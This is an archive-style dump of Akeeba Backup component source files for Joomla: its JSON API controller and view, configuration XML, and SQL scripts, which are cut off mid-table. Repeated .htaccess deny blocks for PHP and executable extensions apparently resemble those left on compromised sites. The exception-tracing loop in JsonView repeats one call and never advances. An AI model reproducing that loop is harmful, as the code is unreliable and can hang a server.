PK     \R}V      src/View/Api/JsonView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Api\View\Api;

\defined('_JEXEC') || die;

use Joomla\CMS\Factory;
use Joomla\CMS\MVC\View\JsonView as BaseJsonView;

class JsonView extends BaseJsonView
{
	public $data = null;

	/**
	 * Returns the JSON API response
	 *
	 * @param   string|null  $tpl  Ignored
	 *
	 * @return  void
	 * @throws  \Exception
	 * @since   9.6.0
	 */
	public function display($tpl = null)
	{
		if (!$this->data instanceof \Throwable)
		{
			$result = [
				'status' => 200,
				'data'   => $this->data,
			];
		}
		else
		{
			$result = [
				'status' => $this->data->getCode(),
				'data'   => $this->data->getMessage(),
			];

			// When site debugging is enabled AND error reporting is set to maximum we'll return exception traces
			$app               = Factory::getApplication();
			$siteDebug         = (bool) $app->get('debug');
			$maxErrorReporting = $app->get('error_reporting') === 'maximum';

			if ($siteDebug && $maxErrorReporting)
			{
				$result['debug'] = [];
				$thisException   = $this->data;

				while (!empty($thisException))
				{
					$result['debug'][] = [
						'message'   => $thisException->getMessage(),
						'code'      => $thisException->getCode(),
						'file'      => $thisException->getFile(),
						'line'      => $thisException->getLine(),
						'backtrace' => $thisException->getTrace(),
					];

					$thisException = $this->data->getPrevious();
				}
			}
		}

		$this->getDocument()->setBuffer(json_encode($result));

		echo $this->getDocument()->render();
	}
}PK     \Sʉ        src/View/Api/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ        src/View/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \       src/Controller/ApiController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Api\Controller;

\defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\AkeebaEngineTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\RunPluginsTrait;
use Akeeba\Component\AkeebaBackup\Api\View\Api\JsonView;
use Akeeba\Component\AkeebaBackup\Site\Model\Json\Task;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Util\Complexify;
use Joomla\CMS\Authentication\Authentication;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\MVC\Controller\ApiController as BaseApiController;
use Joomla\CMS\Plugin\PluginHelper;
use RuntimeException;
use Throwable;

class ApiController extends BaseApiController
{
	use AkeebaEngineTrait;
	use RunPluginsTrait;

	/**
	 * The default view for the display method.
	 *
	 * @var    string
	 * @since  9.6.0
	 */
	protected $default_view = 'api';

	/**
	 * Secret Key (cached for quicker retrieval)
	 *
	 * @var   null|string
	 * @since 7.4.0
	 */
	private ?string $key = null;

	/**
	 * The API method handler
	 *
	 * @var   Task|null
	 * @since 9.6.0
	 */
	private ?Task $taskHandler = null;

	/**
	 * @inheritDoc
	 */
	public function execute($task)
	{
		// We only allow one task
		return parent::execute('simpleDisplay');
	}

	/**
	 * Handles a JSON API request
	 *
	 * @return  $this
	 * @throws  \Exception
	 * @since   9.6.0
	 *
	 * @noinspection PhpUnused
	 */
	public function simpleDisplay(): self
	{
		$view   = $this->getMyView();

		try
		{
			$this->akeebaEngineInitialisation();
			$this->authenticate();

			$method            = $this->input->get('method');
			$data              = $this->getRequestData();
			$this->taskHandler = Task::getInstance($this->factory);

			$view->data = $this->taskHandler->execute($method, $data);
		}
		catch (Throwable $e)
		{
			$view->data = $e;
		}

		$view->display();

		return $this;
	}

	/**
	 * Get the request data as an array
	 *
	 * @return  array
	 * @since   9.6.0
	 */
	protected function getRequestData(): array
	{
		switch ($this->input->getMethod() ?? 'GET')
		{
			case 'GET':
				$input = $this->input->get;
				break;

			default:
			case 'POST':
				$input = $this->input->post;
				break;
		}

		$cleanedData = $input->getArray();
		$data        = [];

		foreach ($cleanedData as $key => $value)
		{
			if (is_array($value))
			{
				$data[$key] = $input->get($key, [], 'array');
			}
			else
			{
				$data[$key] = $input->get($key, null, 'raw');
			}
		}

		return $data;
	}

	/**
	 * Get the BackupApi view object
	 *
	 * @return  JsonView
	 * @since   9.6.0
	 */
	protected function getMyView(): JsonView
	{
		static $view;

		if (empty($view))
		{
			$viewType   = $this->app->getDocument()->getType();
			$viewName   = $this->input->get('view', $this->default_view);
			$viewLayout = $this->input->get('layout', 'default', 'string');

			try
			{
				$view = $this->getView(
					$viewName,
					$viewType,
					'',
					['base_path' => $this->basePath, 'layout' => $viewLayout, 'contentType' => $this->contentType]
				);
			}
			catch (\Exception $e)
			{
				throw new RuntimeException($e->getMessage());
			}

			$view->document = $this->app->getDocument();
		}

		return $view;
	}

	/**
	 * Verifies the Secret Key (API token)
	 *
	 * @return  bool
	 * @since   7.4.0
	 */
	private function verifyKey(): bool
	{
		$cParams = ComponentHelper::getParams('com_akeebabackup');

		// Is the JSON API enabled?
		if ($cParams->get('jsonapi_enabled', 0) != 1)
		{
			return false;
		}

		// Is the key secure enough?
		$validKey = $this->serverKey();

		if (empty($validKey) || empty(trim($validKey)) || !Complexify::isStrongEnough($validKey, false))
		{
			return false;
		}

		/**
		 * Get the API authentication token. There are two sources
		 * 1. X-Akeeba-Auth header (preferred, overrides all others)
		 * 2. the _akeebaAuth GET parameter
		 */
		$authSource = $this->input->server->getString('HTTP_X_AKEEBA_AUTH', null);

		if (is_null($authSource))
		{
			$authSource = $this->input->get->getString('_akeebaAuth', null);
		}

		// No authentication token? No joy.
		if (empty($authSource) || !is_string($authSource) || empty(trim($authSource)))
		{
			return false;
		}

		return hash_equals($validKey, $authSource);
	}

	/**
	 * Get the server key, i.e. the Secret Word for the front-end backups and JSON API
	 *
	 * @return  mixed
	 *
	 * @since   7.4.0
	 */
	private function serverKey()
	{
		if (is_null($this->key))
		{
			$this->key = Platform::getInstance()->get_platform_configuration_option('frontend_secret_word', '');
		}

		return $this->key;
	}

	/**
	 * Initialises the Akeeba Engine
	 *
	 * @return  void
	 * @since   9.6.0
	 */
	private function akeebaEngineInitialisation(): void
	{
		$this->loadAkeebaEngine();
		Platform::getInstance()->load_version_defines();

		if (!defined('AKEEBA_BACKUP_ORIGIN'))
		{
			define('AKEEBA_BACKUP_ORIGIN', 'json');
		}
	}

	/**
	 * Performs user authentication
	 *
	 * @return  void
	 * @since   9.6.0
	 */
	private function authenticate(): void
	{
		// API v3 authentication: only Joomla API authentication
		if (
			$this->input->getInt('_apiVersion', 0) == 3
			&& !$this->app->login(['username' => ''], ['silent' => true, 'action' => 'core.login.api'])
		)
		{
			throw new RuntimeException('Access denied', 503);
		}

		// API v2 authentication: Akeeba Backup Secret Key _or_ Joomla API authentication
		if (
			!$this->verifyKey()
			&& !$this->protectedLogin(['username' => ''], ['silent' => true, 'action' => 'core.login.api'])
		)
		{
			throw new RuntimeException('Access denied', 503);
		}
	}

	/**
	 * Login a user without trigger the login failure plugins.
	 *
	 * @param   array  $credentials  Array('username' => string, 'password' => string)
	 * @param   array  $options      Array('remember' => boolean)
	 *
	 * @return  boolean|\Exception  True on success, false if failed or silent handling is configured, or a \Exception object on authentication error.
	 *
	 * @since   9.6.0
	 */
	private function protectedLogin($credentials, $options = [])
	{
		$app = $this->app;

		// Get the global Authentication object.
		$authenticate = Authentication::getInstance('api-authentication');
		$response     = $authenticate->authenticate($credentials, $options);

		// Import the user plugin group.
		PluginHelper::importPlugin('user');

		if ($response->status === Authentication::STATUS_SUCCESS) {
			/*
			 * Validate that the user should be able to log in (different to being authenticated).
			 * This permits authentication plugins blocking the user.
			 */
			$authorisations = $authenticate->authorise($response, $options);
			$denied_states  = Authentication::STATUS_EXPIRED | Authentication::STATUS_DENIED;

			foreach ($authorisations as $authorisation) {
				if ((int) $authorisation->status & $denied_states) {
					// If silent is set, just return false.
					return false;
				}
			}

			// OK, the credentials are authenticated and user is authorised.  Let's fire the onLogin event.
			$results = $this->triggerPluginEvent('onUserLogin', [(array) $response, $options]);

			/*
			 * If any of the user plugins did not successfully complete the login routine
			 * then the whole method fails.
			 *
			 * Any errors raised should be done in the plugin as this provides the ability
			 * to provide much more information about why the routine may have failed.
			 */
			$user = Factory::getApplication()->getIdentity();

			if ($response->type === 'Cookie')
			{
				if (method_exists($user, 'set'))
				{
					/** @noinspection PhpDeprecationInspection */
					$user->set('cookieLogin', true);
				}
				else
				{
					$user->cookieLogin = true;
				}
			}

			if (\in_array(false, $results, true) == false) {
				$options['user']         = $user;
				$options['responseType'] = $response->type;

				// The user is successfully logged in. Run the after login events
				$this->triggerPluginEvent('onUserAfterLogin', [$options]);

				return true;
			}
		}

		return false;
	}


}PK     \Sʉ        src/Controller/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ        src/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      	  .htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Ď{8  {8  
  config.xmlnu [        <?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->
<config addfieldpath="/administrator/components/com_akeebabackup/src/Field"
		addfieldprefix="Akeeba\Component\AkeebaBackup\Administrator\Field"
>
	<inlinehelp button="show"/>
	<fieldset name="backend" label="COM_AKEEBABACKUP_CONFIG_BACKEND_HEADER_LABEL"
			  description="COM_AKEEBABACKUP_CONFIG_BACKEND_HEADER_DESC">

		<field name="stats_enabled"
			   type="radio"
			   layout="joomla.form.field.radio.switcher"
			   default="1"
			   label="COM_AKEEBABACKUP_CONFIG_USAGESTATS_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_USAGESTATS_DESC"
			   class="btn-group btn-group-yesno">
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>

		<field name="dateformat" type="text" default="" size="30"
			   label="COM_AKEEBABACKUP_CONFIG_DATEFORMAT_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_DATEFORMAT_DESC"/>

		<field name="localtime"
			   type="radio"
			   layout="joomla.form.field.radio.switcher"
			   default="1"
			   label="COM_AKEEBABACKUP_CONFIG_BACKEND_LOCALTIME_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_BACKEND_LOCALTIME_DESC"
			   class="btn-group btn-group-yesno">
			<option value="0">JNo</option>
			<option value="1">JYes</option>
		</field>

		<field name="timezonetext" type="list" default="T"
			   label="COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_DESC">
			<option value="">COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_NONE</option>
			<option value="T">COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_ABBREVIATION</option>
			<option value="\G\M\TP">COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_GMTOFFSET</option>
		</field>

		<field name="showDeleteOnRestore"
			   type="radio"
			   layout="joomla.form.field.radio.switcher"
			   default="0"
			   label="COM_AKEEBABACKUP_CONFIG_BACKEND_SHOWDELETEONRESTORE_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_BACKEND_SHOWDELETEONRESTORE_DESC"
			   class="btn-group btn-group-yesno">
			<option value="0">JNo</option>
			<option value="1">JYes</option>
		</field>

		<field name="useencryption"
			   type="radio"
			   layout="joomla.form.field.radio.switcher"
			   default="1"
			   label="COM_AKEEBABACKUP_CONFIG_SECURITY_USEENCRYPTION_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_SECURITY_USEENCRYPTION_DESCRIPTION"
			   class="btn-group btn-group-yesno">
			<option value="0">JNo</option>
			<option value="1">JYes</option>
		</field>

		<field name="no_flush"
			   type="radio"
			   layout="joomla.form.field.radio.switcher"
			   default="0"
			   label="COM_AKEEBABACKUP_CONFIG_SECURITY_NO_FLUSH_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_SECURITY_NO_FLUSH_DESCRIPTION"
			   class="btn-group btn-group-yesno">
			<option value="0">JNo</option>
			<option value="1">JYes</option>
		</field>

		<field name="accurate_php_cli"
			   type="radio"
			   layout="joomla.form.field.radio.switcher"
			   default="1"
			   label="COM_AKEEBABACKUP_CONFIG_ACCURATE_PHP_CLI_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_ACCURATE_PHP_CLI_DESCRIPTION"
			   class="btn-group btn-group-yesno">
			<option value="0">JNo</option>
			<option value="1">JYes</option>
		</field>
	</fieldset>

	<fieldset name="frontend" label="COM_AKEEBABACKUP_CONFIG_FRONTEND_HEADER_LABEL"
			  description="COM_AKEEBABACKUP_CONFIG_FRONTEND_HEADER_DESC">

		<field name="legacyapi_enabled"
			   type="radio"
			   layout="joomla.form.field.radio.switcher"
			   default="0"
			   label="COM_AKEEBABACKUP_CONFIG_LEGACYAPI_ENABLED_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_LEGACYAPI_ENABLED_DESC"
			   class="btn-group btn-group-yesno">
			<option value="0">JNo</option>
			<option value="1">JYes</option>
		</field>

		<field name="jsonapi_enabled"
			   type="radio"
			   layout="joomla.form.field.radio.switcher"
			   default="0"
			   label="COM_AKEEBABACKUP_CONFIG_JSONAPI_ENABLED_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_JSONAPI_ENABLED_DESC"
			   class="btn-group btn-group-yesno">
			<option value="0">JNo</option>
			<option value="1">JYes</option>
		</field>

		<field name="frontend_secret_word" type="akencrypted"
			   default="" size="30"
			   label="COM_AKEEBABACKUP_CONFIG_SECRETWORD_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_SECRETWORD_DESC"
			   class="input-xxlarge"
			   showon="legacyapi_enabled:1[OR]jsonapi_enabled:1"
		/>

		<field name="forced_backup_timezone" type="timezone" default="AKEEBA/DEFAULT"
			   size="1"
			   label="COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_DESC"
			   class="input-xxlarge">
			<option value="AKEEBA/DEFAULT">COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_DEFAULT</option>
			<option value="GMT">GMT</option>
		</field>

		<field name="frontend_email_on_finish"
			   type="radio"
			   layout="joomla.form.field.radio.switcher"
			   default="0"
			   label="COM_AKEEBABACKUP_CONFIG_FRONTENDEMAIL_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_FRONTENDEMAIL_DESC"
			   class="btn-group btn-group-yesno">
			<option value="0">JNo</option>
			<option value="1">JYes</option>
		</field>

		<field name="frontend_email_when" type="list" default="always"
			   label="COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_DESC"
			   showon="frontend_email_on_finish:1"
		>
			<option value="always">COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_ALWAYS</option>
			<option value="failedupload">COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_FAILEDUPLOAD</option>
		</field>

		<field name="frontend_email_address" type="text" default="" size="50"
			   label="COM_AKEEBABACKUP_CONFIG_ARBITRARYFEEMAIL_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_ARBITRARYFEEMAIL_DESC"
			   class="input-xxlarge"
			   showon="frontend_email_on_finish:1"
		/>

		<field name="frontend_email_subject" type="text" default="" size="50"
			   label="COM_AKEEBABACKUP_CONFIG_FEEMAILSUBJECT_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_FEEMAILSUBJECT_DESC"
			   class="input-xxlarge"
			   showon="frontend_email_on_finish:1"
		/>

		<field name="frontend_email_body" type="textarea" default="" rows="10" cols="55"
			   label="COM_AKEEBABACKUP_CONFIG_FEEMAILBODY_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_FEEMAILBODY_DESC"
			   showon="frontend_email_on_finish:1"
		/>

		<!-- FAILURE CHECK SETTINGS -->
		<field type="spacer" label="COM_AKEEBABACKUP_CONFIG_FAILURE_SEPARATOR"/>

		<field name="failure_timeout" type="text" default="180"
			   filter="integer"
			   label="COM_AKEEBABACKUP_CONFIG_FAILURE_TIMEOUT_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_FAILURE_TIMEOUT_DESC"
		/>

		<field name="failure_email_address" type="text" default="" size="50"
			   label="COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILADDRESS_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILADDRESS_DESC"/>

		<field name="failure_email_subject" type="text" default="" size="50"
			   label="COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILSUBJECT_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILSUBJECT_DESC"/>

		<field name="failure_email_body" type="textarea" default="" rows="10" cols="55"
			   label="COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILBODY_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILBODY_DESC"/>

		<!-- FAILURE CHECK SETTINGS -->
		<field type="spacer" label="COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_SEPARATOR"/>

		<field name="uploadfailure_email_address" type="text" default="" size="50"
			   label="COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILADDRESS_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILADDRESS_DESC"/>

		<field name="uploadfailure_email_subject" type="text" default="" size="50"
			   label="COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILSUBJECT_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILSUBJECT_DESC"/>

		<field name="uploadfailure_email_body" type="textarea" default="" rows="10" cols="55"
			   label="COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILBODY_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILBODY_DESC"/>

        <!-- HIDDEN -->
		<field name="siteurl" type="hidden" default="" label=""/>
		<field name="jlibrariesdir" type="hidden" default="" label=""/>
		<field name="show_howtorestoremodal" type="hidden" default="1" label=""/>
		<field name="migrated_from_pkg_akeeba" type="hidden" default="0" label=""/>
		<field name="vapidKey" type="hidden" />
	</fieldset>

	<fieldset name="push" label="COM_AKEEBABACKUP_CONFIG_PUSH_HEADER_LABEL" description="COM_AKEEBABACKUP_CONFIG_PUSH_HEADER_DESC">
		<field name="desktop_notifications"
			   type="radio"
			   layout="joomla.form.field.radio.switcher"
			   default="0"
			   label="COM_AKEEBABACKUP_CONFIG_DESKTOP_NOTIFICATIONS_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_DESKTOP_NOTIFICATIONS_DESC"
			   class="btn-group btn-group-yesno">
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>

		<field name="push_preference" type="list" default="0"
			   label="COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_DESC">
			<option value="0">COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_NONE</option>
			<option value="webpush">COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_WEBPUSH</option>
			<option value="1">COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_PUSHBULLET</option>
		</field>

		<field name="push_apikey" type="text" default="" size="30"
			   label="COM_AKEEBABACKUP_CONFIG_PUSH_APIKEY_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_PUSH_APIKEY_DESC"
			   showon="push_preference:1"
		/>
	</fieldset>

	<fieldset name="oauth2"
			  label="COM_AKEEBABACKUP_CONFIG_OAUTH2_HEADER_LABEL"
			  description="COM_AKEEBABACKUP_CONFIG_OAUTH2_HEADER_DESC"
	>
		<!-- Box.com -->
		
		<field name="oauth2_client_box"
			   type="radio"
			   layout="joomla.form.field.radio.switcher"
			   default="0"
			   label="COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_BOX_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_BOX_DESC"
			   class="btn-group btn-group-yesno">
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>

		<field name="box_info"
			   type="Oauth2url"
			   showon="oauth2_client_box:1"
			   engine="box"
		/>

		<field name="box_client_id"
			   type="text"
			   label="COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_ID_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_ID_DESC"
			   showon="oauth2_client_box:1"
		/>

		<field name="box_client_secret"
			   type="password"
			   label="COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_SECRET_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_SECRET_DESC"
			   showon="oauth2_client_box:1"
		/>

		<!-- Dropbox -->
		
		<field name="oauth2_client_dropbox"
			   type="radio"
			   layout="joomla.form.field.radio.switcher"
			   default="0"
			   label="COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_DROPBOX_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_DROPBOX_DESC"
			   class="btn-group btn-group-yesno">
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>

		<field name="dropbox_info"
			   type="Oauth2url"
			   showon="oauth2_client_dropbox:1"
			   engine="dropbox"
		/>

		<field name="dropbox_client_id"
			   type="text"
			   label="COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_ID_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_ID_DESC"
			   showon="oauth2_client_dropbox:1"
		/>

		<field name="dropbox_client_secret"
			   type="password"
			   label="COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_SECRET_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_SECRET_DESC"
			   showon="oauth2_client_dropbox:1"
		/>

		<!-- Google Drive -->

		<field name="oauth2_client_googledrive"
			   type="radio"
			   layout="joomla.form.field.radio.switcher"
			   default="0"
			   label="COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_GOOGLEDRIVE_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_GOOGLEDRIVE_DESC"
			   class="btn-group btn-group-yesno">
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>

		<field name="googledrive_info"
			   type="Oauth2url"
			   showon="oauth2_client_googledrive:1"
			   engine="googledrive"
		/>

		<field name="googledrive_client_id"
			   type="text"
			   label="COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_ID_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_ID_DESC"
			   showon="oauth2_client_googledrive:1"
		/>

		<field name="googledrive_client_secret"
			   type="password"
			   label="COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_SECRET_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_SECRET_DESC"
			   showon="oauth2_client_googledrive:1"
		/>

		<!-- OneDrive Business -->

		<field name="oauth2_client_onedrivebusiness"
			   type="radio"
			   layout="joomla.form.field.radio.switcher"
			   default="0"
			   label="COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_ONEDRIVEBUSINESS_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_ONEDRIVEBUSINESS_DESC"
			   class="btn-group btn-group-yesno">
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>

		<field name="onedrivebusiness_info"
			   type="Oauth2url"
			   showon="oauth2_client_onedrivebusiness:1"
			   engine="onedrivebusiness"
		/>

		<field name="onedrivebusiness_client_id"
			   type="text"
			   label="COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_ID_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_ID_DESC"
			   showon="oauth2_client_onedrivebusiness:1"
		/>

		<field name="onedrivebusiness_client_secret"
			   type="password"
			   label="COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_SECRET_LABEL"
			   description="COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_SECRET_DESC"
			   showon="oauth2_client_onedrivebusiness:1"
		/>
	</fieldset>

	<fieldset
			name="permissions"
			label="JCONFIG_PERMISSIONS_LABEL"
			description="JCONFIG_PERMISSIONS_DESC"
	>
		<field
				name="rules"
				type="rules"
				label="JCONFIG_PERMISSIONS_LABEL"
				class="inputbox"
				filter="rules"
				component="com_akeebabackup"
				section="component"/>
	</fieldset>
</config>
PK     \yo<  <    version.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') or die();

// Uncomment the following line to enable development mode
// defined('AKEEBADEBUG') || define('AKEEBADEBUG', 1);

defined('AKEEBABACKUP_PRO') || define('AKEEBABACKUP_PRO', '1');
defined('AKEEBABACKUP_VERSION') || define('AKEEBABACKUP_VERSION', '10.3.6');
defined('AKEEBABACKUP_DATE') || define('AKEEBABACKUP_DATE', '2026-06-22');
PK     \i3:  :    sql/uninstall.mysql.utf8.sqlnu [        /**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

DROP TABLE IF EXISTS `#__akeebabackup_profiles`;
DROP TABLE IF EXISTS `#__akeebabackup_backups`;
DROP TABLE IF EXISTS `#__akeebabackup_storage`;PK     \)      sql/install.mysql.utf8.sqlnu [        /**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

--
-- Create the Profiles table
--
CREATE TABLE IF NOT EXISTS `#__akeebabackup_profiles` (
    `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
    `description` varchar(255) NOT NULL COLLATE utf8mb4_unicode_ci,
    `configuration` longtext COLLATE utf8mb4_unicode_ci,
    `filters` longtext COLLATE utf8mb4_unicode_ci,
    `quickicon` tinyint(3) NOT NULL DEFAULT '1',
    `access` int(11) NULL DEFAULT '1',
    PRIMARY KEY (`id`)
) ENGINE InnoDB DEFAULT COLLATE utf8mb4_unicode_ci;

--
-- Create the default backup profile
--
INSERT IGNORE INTO `#__akeebabackup_profiles`
    (`id`, `description`, `configuration`, `filters`, `quickicon`)
VALUES (1, 'Default Backup Profile', '', '', 1);

--
-- Create the backups table
--
CREATE TABLE IF NOT EXISTS `#__akeebabackup_backups` (
    `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
    `description` varchar(255) NOT NULL COLLATE utf8mb4_unicode_ci,
    `comment` longtext COLLATE utf8mb4_unicode_ci,
    `backupstart` timestamp NULL DEFAULT NULL,
    `backupend` timestamp NULL DEFAULT NULL,
    `status` enum('run','fail','complete') NOT NULL DEFAULT 'run',
    `origin` varchar(30) NOT NULL DEFAULT 'backend' COLLATE utf8mb4_unicode_ci,
    `type` varchar(30) NOT NULL DEFAULT 'full' COLLATE utf8mb4_unicode_ci,
    `profile_id` bigint(20) NOT NULL DEFAULT '1',
    `archivename` longtext COLLATE utf8mb4_unicode_ci,
    `absolute_path` longtext COLLATE utf8mb4_unicode_ci,
    `multipart` int(11) NOT NULL DEFAULT '0',
    `tag` varchar(255) DEFAULT NULL COLLATE utf8mb4_unicode_ci,
    `backupid` varchar(255) DEFAULT NULL COLLATE utf8mb4_unicode_ci,
    `filesexist` tinyint(3) NOT NULL DEFAULT '1',
    `remote_filename` varchar(1000) DEFAULT NULL COLLATE utf8mb4_unicode_ci,
